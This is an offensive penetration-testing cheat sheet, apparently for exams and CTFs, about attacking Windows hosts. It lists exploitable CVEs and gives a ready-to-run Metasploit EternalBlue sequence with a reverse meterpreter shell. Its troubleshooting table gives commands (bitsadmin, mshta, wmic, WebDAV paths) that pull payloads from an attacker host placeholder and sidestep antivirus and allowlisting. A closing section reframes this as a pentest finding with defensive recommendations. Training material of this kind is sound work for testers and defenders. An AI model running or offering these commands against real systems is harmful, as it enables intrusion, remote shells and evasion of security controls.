Critical Windows Vulnerabilities (Exam/CTF Reference)
Vulnerability
CVE / Bulletin
Attack Surface
Impact
MS08-067
MS08-067
SMB flaw; used by Conficker/Stuxnet
RCE
EternalBlue
MS17-010
SMBv1; WannaCry/NotPetya
RCE / SYSTEM
BlueKeep
CVE-2019-0708
RDP — Win 2000 to Server 2008 R2
RCE
PrintNightmare
CVE-2021-1675
Print Spooler — driver installation
RCE / SYSTEM
Sigred
CVE-2020-1350
DNS SIG record parsing on DC
Domain Admin
Zerologon
CVE-2020-1472
Netlogon cryptographic flaw
Domain Admin
SeriousSam
CVE-2021-36934
SAM file permissions (via VSS)
Credential Dump
OS Fingerprinting Techniques
TTL ping — Windows ≈ 128, Linux ≈ 64 (ping [TARGET_IP])
Nmap OS detection — sudo nmap -v -O [TARGET_IP] → looks for cpe:/o:microsoft:windows_*
Banner grabbing — IIS version, RDP banners reveal Windows version
Windows Payload Types
Format
Tool
Use Case
.exe
MSFvenom
Direct execution
.ps1
Nishang
Fileless via IEX
.bat
Manual
Simple automation, very basic
.msi
MSFvenom
msiexec elevated execution
.dll
Custom
DLL hijacking / injection
.aspx
MSFvenom
IIS web server RCE
CMD vs PowerShell — When to Use Which
Feature
CMD
PowerShell
Command history logging
No
Yes (ScriptBlock logging)
Execution restrictions
None
Execution Policy, AMSI
Availability
All versions, including XP
Win 7+ only
Best for
Stealth (CMD leaves less log)
Complex post-ex scripts
Identify by prompt
C:\Windows\system32>
PS C:\Windows\system32>
WSL and PowerShell Core — Blind Spots
WSL network traffic bypasses Windows Firewall and Defender — Python/Linux tools inside WSL can download and run payloads undetected
PowerShell Core on Linux carries over PS functions but has minimal EDR/AV monitoring
EternalBlue Quick Run
use auxiliary/scanner/smb/smb_ms17_010set RHOSTS [TARGET_IP]run# If "likely VULNERABLE":use exploit/windows/smb/ms17_010_psexecset RHOSTS [TARGET_IP]; set LHOST tun0set payload windows/meterpreter/reverse_tcpexploit
🛠️ Troubleshooting & Edge Cases
Problem
Cause
Fix
certutil download blocked by AV
certutil.exe flagged
Use bitsadmin /transfer job /download /priority high http://[LHOST]/shell.exe C:\Temp\s.exe
PowerShell IWR returns 403
Server-side filtering by UA
Add: -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
SMB file share not accessible from target
SMB port 445 blocked
Use HTTP delivery; or UNC path via WebDAV: \\[LHOST]@80\share\shell.exe
Downloaded EXE flagged on write
Real-time AV scanning downloads
Deliver shellcode via reflective loading or PowerShell memory execution — no file touch
regsvr32 COM scriptlet blocked
AppLocker rule for regsvr32
Try mshta http://[LHOST]/payload.hta or wmic os get /format:"http://[LHOST]/payload.xsl"
📝 Reporting Trigger
Finding Title: Windows Payload Delivery via Built-In LOL Binaries
Impact: Windows LOL binaries (certutil, bitsadmin, mshta) bypass application allowlisting and deliver attacker payloads without dropping detectable EXE artifacts, enabling code execution under legitimate system process context.
Root Cause: LOL binaries are signed Microsoft binaries exempt from application allowlisting. No behavioral monitoring of LOL binary network activity.
Recommendation: Enable WDAC rules specifically restricting LOL binary network access. Implement network-level monitoring for certutil/bitsadmin HTTP requests. Deploy Script Block Logging for PowerShell download cradles.